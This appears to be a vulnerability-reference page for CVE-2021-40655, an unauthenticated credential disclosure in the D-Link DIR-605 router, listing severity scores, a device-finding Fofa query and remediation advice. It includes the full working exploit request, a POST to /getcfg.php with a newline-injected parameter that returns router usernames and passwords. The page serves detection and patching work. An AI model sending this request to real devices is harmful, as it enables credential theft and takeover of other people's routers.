🔙 목록으로 돌아가기

CVE-2021-40655: D-Link DIR-605 - Information Disclosure

TitleD-Link DIR-605 - Information Disclosure
AuthorDhiyaneshDK
SeverityHigh
ImpactUnauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint.
RemediationApply firmware updates provided by D-Link or replace the device with a supported model.
CVSS Score7.5
EPSS Score0.9287
CVE IDCVE-2021-40655
CWE IDCWE-863
Fofa Querybody="l_tb>DIR-605"
Tags cve cve2021 dlink kev dir-605 info-leak vkev vuln

🔍 Vulnerability Description

An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page

🌐 HTTP Request

POST /getcfg.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Cookie:
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40655.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40655.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A